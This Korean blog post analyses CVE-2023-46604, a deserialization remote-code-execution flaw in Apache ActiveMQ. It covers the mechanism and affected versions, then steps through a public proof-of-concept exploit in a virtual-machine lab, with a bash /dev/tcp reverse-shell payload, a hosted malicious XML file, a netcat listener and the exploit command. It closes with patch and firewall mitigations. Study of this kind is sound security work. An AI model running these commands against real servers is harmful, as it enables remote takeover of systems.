1. 취약점 개요
1) CVE-2023-46604 개요
CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약성이다. 공격자는 이 결함을 악용하여 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행할 수 있으며 원격 서버에서 명령을 실행(RCE)할 수 있는 악성 xml파일을 만들 수 있다.
이 공격은 xml 문서 작성 프로세스를 자동화 및 추상화하고, 파일을 전달하는 기본 서버를 제공하며, POST를 통해 대상 서버에서 정보를 다시 수신한다. 이렇게 하면 역방향 셸을 호출하거나 이진 파일을 배포할 필요 없이 계속 악용할 수 있다.
2) 사전 지식
ㄱ) Apache ActiveMQ란?
Apache에서 개발한 ActiveMQ는 클라이언트와 서버 간의 통신을 용이하게 하는 오픈 소스 메시지 브로커로 메시지 지향 미들웨어로 작동한다. Java 및 다양한 교차 언어 클라이언트와 여러 프로토콜을 지원하며 OpenWire와 JMS 같은 추가 기능을 포함한다. 한 메시징 프로토콜에서 다른 메시징 프로토콜로 메시지를 변환하여 다양한 서비스간의 통신을 가능하게 하는 기능을 한다.
ㄴ) OpenWire란?
OpenWire 프로토콜은 다양한 언어나 플랫폼에서 ActiveMQ에 접속할 수 있게 하는 메시징 프로토콜이다. ActiveMQ는 OpenWire, AMQP, XMPP, MQTT 등 다양한 메시징 프로토콜을 지원한다.
ㄷ) 직렬화와 역직렬화
직렬화(Serialization)란 네트워크를 통해 다른 곳으로 전송할 수 있는 형식이나 파일에 저장할 수 있는 형식으로 객체를 변환하는 것을 말한다. 역직렬화(Deserialization)란 직렬화한 데이터를 본래의 객체로 되돌리는 변환을 역직렬화라고 한다. 직렬화의 대표적인 종류로는 바이너리 직렬화, XML 직렬화, JSON 직렬화 등이 있다.
ㄹ) XML이란?
XML(Extensible Markup Language)은 데이터를 정의하는 규칙을 제공하는 마크업 언어이다. 다른 프로그래밍 언어와 달리 XML은 자체적으로 컴퓨팅 작업을 수행할 수 없다. 대신 구조적 데이터 관리를 위해 모든 프로그래밍 언어 또는 소프트웨어를 구현할 수 있다.
02. 상세 분석
1) 영향 받는 소프트웨어 버전
CVE | 취약한 버전 | 위험도(CVSS점수) |
CVE-2023-46604 |
Apache ActiveMQ 5.18.0 ~ 5.18.2 | High(10.0) |
Apache ActiveMQ 5.17.0 ~ 5.17.5 | ||
Apache ActiveMQ 5.16.0 ~ 5.16.6 | ||
Apache ActiveMQ ~ 5.15.15 |
[표 1] CVE-2023-46604에 영향 받는 버전 정보
2) CVE-2023-46604 공격 매커니즘
먼저 직렬화, 역직렬화 및 안전하지 않은 역직렬화의 의미를 살펴본다.
직렬화는 복잡한 데이터 구조나 개체를 나중에 쉽게 저장, 전송 또는 재구성할 수 있는 형식으로 변환하는 과정이다. 이를 통해 서로 다른 시스템 또는 응용프로그램 간에 데이터를 저장하거나 공유할 수 있다. 반면 역직렬화는 직렬화된 형식에서 데이터를 다시 구성하여 프로그램이나 응용 프로그램 내에서 사용할 수 있도록 하는 역방향의 과정이다.
안전하지 않은 역직렬화는 종종 신뢰할 수 없는 원본의 데이터가 적절한 유효성 검사 또는 보안검사 없이 역직렬화될 때 발생한다. 이로 인해 공격자가 역직렬화된 데이터를 조작하여 악성 코드를 실행하여 시스템이나 애플리케이션에 해를 끼칠 수 있으므로 보안 취약성이 발생할 수 있는 것이다.
따라서 역직렬화 과정에서의 유효성 검사 부족이 이 취약점의 주요 원인이다. OpenWireFormat#doUnmarshal 메서드에 의해 촉진되는 역마샬링이라는 중요한 프로세스를 거치게 되는데, 역마샬링은 들어오는 이진 데이터를 보다 이해하기 쉽고 사용 가능한 형식으로 변환하는 기술이다. 이 변환을 수행하기 위해 프로세스는 BaseDataStreamMarshaller라는 필수 구성 요소를 사용한다.
Apache ActiveMQ에는 각각 특정 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller가 있다. 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인하여 사용할 마샬러를 파악하게되는데 이 취약점은 데이터에서 만든 클래스의 유효성을 검사하지 못하기 때문에 발생한다. 즉, 공격자는 가짜 예외처리 가능한 클래스를 만들고 시스템을 속여 합법적으로 취급할 수 있다. 시스템에서 역직렬화 도중 이 허위의 클래스를 사용하려고 하면 자신도 모르게 공격자의 악성 코드가 실행되는 것이다.
Spring의 ClassPathXmlApplicationContext는 다양한 응용 프로그램 지원 객체의 컨테이너 역할을하는 클래스인데 이 클래스를 사용하면 XML파일을 이용해 Spring 애플리케이션을 설정할 수 있다. 새 ClassPathXmlApplicationContext를 만들 때 단일 문자열 매개 변수는 XML 구성 파일의 위치를 지정하는데 이 ClassPathXmlApplicationContext가 원래 예외처리할 수 있도록 설계되지 않은 경우 공격자가 로컬 클래스 정의를 악성 버전으로 바꾼 뒤 유해한 페이로드를 패키징하여 전송할 수 있다는 문제가 발생하게 되는되는 것이다.
3) POC 코드 분석
깃허브에 공개된 POC(https://github.com/evkl1d/CVE-2023-46604)를 분석해본다. POC코드에는 대상 IP, 포트(기본값 61616/tcp) 및 “Spring XML URL”과 같은 입력이 필요하다. 헤더와 본문으로 구성된 직렬화 개체와 유사한 페이로드를 생성한다. 그런 다음 이 페이로드는 16진수 형식으로 변환되어 ActiveMQ 포트(61616/tcp)에 메시지로 발송된다. 이 익스플로잇은 ActiveMQ의 역직렬화 취약점을 이용하여 Spring 애플리케이션인ClassPathXmlApplicationContext를 활용하여 임의의 셸 명령을 실행할 수 있는 기능이 있는 원격 XML파일을 로드한다.
다음 이미지에서는 Bash 역방향 셸을 시작하는 “bash -i >& /dev/tcp/ip주소/port 0>&1”명령을 통합하여 명령 값을 대체하는 방법을 보여준다. 지정된 공격자의 IP 주소 및 포트에 대한 연결을 설정하여 사용자가 원격 시스템과 상호 작용하고 임의의 셸 명령을 실행할 수 있는 대화형 세션을 만든다.
4) 공격 시연
ㄱ) 테스트 환경 구성
구분 | 피해자 환경 |
운영 체제 | CentOS7_Victim |
소프트웨어 | Apache ActiveMQ |
취약 버전 | 5.15.0 |
IP 주소 | 10.0.2.123 |
비고 | 가상 머신 사용, 공격자와 NAT환경 설정 |
[표 2] 피해자 환경 구성
구분 | 공격자 환경 |
운영 체제 | KaliLinux_Attacker |
IP주소 | 10.0.2.100 |
비고 | 가상 머신 사용, 피해자와 NAT환경 설정 |
[표 3] 공격자 환경 구성
ㄴ) POC 출처
POC의 출처는 다음과 같다.
https://github.com/evkl1d/CVE-2023-46604.git
ㄷ) 공격 실행
목표 : POC 코드를 활용하여 역방향 쉘을 얻고 root권한 획득
① 피해자 환경에서 취약 버전 ActiveMQ 실행.
② poc.xml파일 내부에서 환경에 맞는 페이로드 값 조정
→ /dev/tcp/공격자ip/port번호
③ 페이로드 호스팅 : 공격자 환경에서 Python 기반 HTTP 서버를 배포하여 아래와 같이 XML 파일을 제공
→ Python3 -m http.server 8000
④ 피해자 환경에서의 호스팅 여부 확인
http://[Attacker IP:PORT NUMBER]/poc.xml
⑤ 공격자 환경에서 포트 리스너 시작
→ nc -lvnp 8080
⑥ 피해자에 대한 POC 익스플로잇을 실행
→ python3 exploit.py -i 피해자ip -u http://공격자ip:포트/poc.xml
⑦ 포트 리스너에서 리버스 쉘을 이용한 권한획득 및 제어 가능 확인
03. 대응 방안
1) Apache ActiveMQ 보안패치 적용
취약한 버전 | 보안패치 버전 |
Apache ActiveMQ 5.18.0 ~ 5.18.2 | Apache ActiveMQ 5.18.3 |
Apache ActiveMQ 5.17.0 ~ 5.17.5 | Apache ActiveMQ 5.17.6 |
Apache ActiveMQ 5.16.0 ~ 5.16.6 | Apache ActiveMQ 5.16.7 |
Apache ActiveMQ ~ 5.15.15 | Apache ActiveMQ 5.15.16 |
[표 4] CVE-2023-46604 패치 버전
2) 방화벽에서 포트 61616차단(임시방안)
ActiveMQ가 필요하지 않은 경우 OpenWire 프로토콜의 기본포트인 61616포트를 방화벽에서 차단한다.
04. 참고 자료
How to Fix CVE-2023-46604: Apache ActiveMQ's Critical Vulnerability (uptycs.com)
ActiveMQ-RCE/README-en.md at main · X1r0z/ActiveMQ-RCE · GitHub
Blog - CVE-2023-46604 Attacking & Defending ActiveMQ - PRIOn (prio-n.com)
결론
우선 CVE-2023-46604는 같이 분석을 진행한 신짱TDL님 감사합니다.
CVE-2023-46604와 같은 공격처럼 리버스쉘 공격은 대상자에 악성코드를 설치하여 심각한 피해를 입히기 쉽다고 생각한다. 리버스쉘은 보안 취약점 테스트나 분석할 때도 사용을 하기도 한다는데 리버스쉘은 관련하여 공부를 더 많이 해야할 거 같다.
'정보보안 > CVE' 카테고리의 다른 글
[CVE-2020-1938] Ghostcat Tomcat AJP Protocol 취약점 (2) | 2024.12.06 |
---|---|
CVE란? 모르면 위험한 보안 취약점 리스트 (3) | 2024.11.05 |
[CVE-2022-42889] Text4Shell 취약점 (3) | 2024.07.23 |
[CVE-2024-6387] SSH Vulnerability Scanner 취약점 (0) | 2024.07.15 |
[CVE-2023-27524] Apache Superset 취약점 (2) | 2024.07.01 |